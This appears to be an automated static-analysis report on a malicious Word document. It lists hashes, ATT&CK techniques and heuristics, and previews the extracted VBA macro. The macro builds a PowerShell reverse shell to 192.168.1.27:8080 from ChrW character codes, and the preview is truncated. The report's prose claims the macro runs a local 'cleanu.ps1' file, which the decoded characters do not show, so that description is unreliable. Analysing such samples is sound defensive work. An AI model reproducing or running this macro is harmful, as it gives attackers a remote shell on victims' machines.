Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 272e343d381482c8…

MALICIOUS

Office (OOXML)

26.0 KB Created: 2021-06-10 09:03:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-17
MD5: fd48e8d54b159545951171a2470a5e3a SHA-1: 3106981ef5341de88f67623d18b10f1af14524c9 SHA-256: 272e343d381482c8f649b90373ced146628e3c3e7e31a85fc33f1a4085822567
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro is designed to execute a PowerShell command. This command, reconstructed from concatenated characters, is 'powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\Downloads\cleanu.ps1"', indicating it downloads and executes a second-stage payload. This is a common technique for delivering malware via email attachments.

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 24201 bytes
SHA-256: 36ea33bab2dde9bda0c3f17d7e9769784056e6bbce4f36d1fb5dac539470df95
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Sub Main()
    Dim aa As String
    aa = ""
    aa = aa & ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108)
    aa = aa & ChrW(108) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32) & ChrW(34) & ChrW(32) & ChrW(102)
    aa = aa & ChrW(117) & ChrW(110) & ChrW(99) & ChrW(116) & ChrW(105) & ChrW(111) & ChrW(110) & ChrW(32) & ChrW(99)
    aa = aa & ChrW(108) & ChrW(101) & ChrW(97) & ChrW(110) & ChrW(117) & ChrW(112) & ChrW(32) & ChrW(123) & ChrW(105)
    aa = aa & ChrW(102) & ChrW(32) & ChrW(40) & ChrW(36) & ChrW(99) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110)
    aa = aa & ChrW(116) & ChrW(46) & ChrW(67) & ChrW(111) & ChrW(110) & ChrW(110) & ChrW(101) & ChrW(99) & ChrW(116)
    aa = aa & ChrW(101) & ChrW(100) & ChrW(32) & ChrW(45) & ChrW(101) & ChrW(113) & ChrW(32) & ChrW(36) & ChrW(116)
    aa = aa & ChrW(114) & ChrW(117) & ChrW(101) & ChrW(41) & ChrW(32) & ChrW(123) & ChrW(36) & ChrW(99) & ChrW(108)
    aa = aa & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(46) & ChrW(67) & ChrW(108) & ChrW(111) & ChrW(115)
    aa = aa & ChrW(101) & ChrW(40) & ChrW(41) & ChrW(125) & ChrW(59) & ChrW(32) & ChrW(32) & ChrW(32) & ChrW(32)
    aa = aa & ChrW(105) & ChrW(102) & ChrW(32) & ChrW(40) & ChrW(36) & ChrW(112) & ChrW(114) & ChrW(111) & ChrW(99)
    aa = aa & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(46) & ChrW(69) & ChrW(120) & ChrW(105) & ChrW(116) & ChrW(67)
    aa = aa & ChrW(111) & ChrW(100) & ChrW(101) & ChrW(32) & ChrW(45) & ChrW(110) & ChrW(101) & ChrW(32) & ChrW(36)
    aa = aa & ChrW(110) & ChrW(117) & ChrW(108) & ChrW(108) & ChrW(41) & ChrW(32) & ChrW(123) & ChrW(36) & ChrW(112)
    aa = aa & ChrW(114) & ChrW(111) & ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(46) & ChrW(67) & ChrW(108)
    aa = aa & ChrW(111) & ChrW(115) & ChrW(101) & ChrW(40) & ChrW(41) & ChrW(125) & ChrW(59) & ChrW(32) & ChrW(32)
    aa = aa & ChrW(32) & ChrW(32) & ChrW(101) & ChrW(120) & ChrW(105) & ChrW(116) & ChrW(59) & ChrW(125) & ChrW(59)
    aa = aa & ChrW(36) & ChrW(97) & ChrW(100) & ChrW(100) & ChrW(114) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(32)
    aa = aa & ChrW(61) & ChrW(32) & ChrW(39) & ChrW(49) & ChrW(57) & ChrW(50) & ChrW(46) & ChrW(49) & ChrW(54)
    aa = aa & ChrW(56) & ChrW(46) & ChrW(49) & ChrW(46) & ChrW(50) & ChrW(55) & ChrW(39) & ChrW(59) & ChrW(36)
    aa = aa & ChrW(112) & ChrW(111) & ChrW(114) & ChrW(116) & ChrW(32) & ChrW(61) & ChrW(32) & ChrW(39) & ChrW(56)
    aa = aa & ChrW(48) & ChrW(56) & ChrW(48) & ChrW(39) & ChrW(59) & ChrW(36) & ChrW(99) & ChrW(108) & ChrW(105)
    aa = aa & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(32) & ChrW(61) & ChrW(32) & ChrW(78) & ChrW(101) & ChrW(119)
    aa = aa & ChrW(45) & ChrW(79) & ChrW(98) & ChrW(106) & ChrW(101) & ChrW(99) & ChrW(116) & ChrW(32) & ChrW(115)
    aa = aa & ChrW(121) & ChrW(115) & ChrW(116) & ChrW(101) & ChrW(109) & ChrW(46) & ChrW(110) & ChrW(101) & ChrW(116)
    aa = aa & ChrW(46) & ChrW(115) & ChrW(111) & ChrW(99) & ChrW(107) & ChrW(101) & ChrW(116) & ChrW(115) & ChrW(46)
    aa = aa & ChrW(116) & ChrW(99) & ChrW(112) & ChrW(99) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116)
    aa = aa & ChrW(59) & ChrW(36) & ChrW(99) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(46)
    aa = aa & ChrW(99) & ChrW(111) & ChrW(110) & ChrW(110) & ChrW(101) & ChrW(99) & ChrW(116) & ChrW(40) & ChrW(36)
    aa = aa & ChrW(97) & ChrW(100) & ChrW(100) & ChrW(114) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(44) & ChrW(36)
    aa = aa & ChrW(112) & ChrW(111) & ChrW(114) & ChrW(116) & ChrW(41) & ChrW(59) & ChrW(36) & ChrW(115) & ChrW(116)
    aa = aa & ChrW(114) & ChrW(101) & ChrW(97) & ChrW(109) & ChrW(32) & ChrW(61) & ChrW(32) & ChrW(36
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 44032 bytes
SHA-256: dba25012c2de2a336976d24265774e979d7494c55001c27f116d293f9df7f7bb
emf_00.emf ooxml-emf OOXML EMF part: docProps/thumbnail.emf 3316 bytes
SHA-256: f1957e27388b7255b7df34762c8979d616eaf2fdce05d1de2b6bae86fb8f3beb

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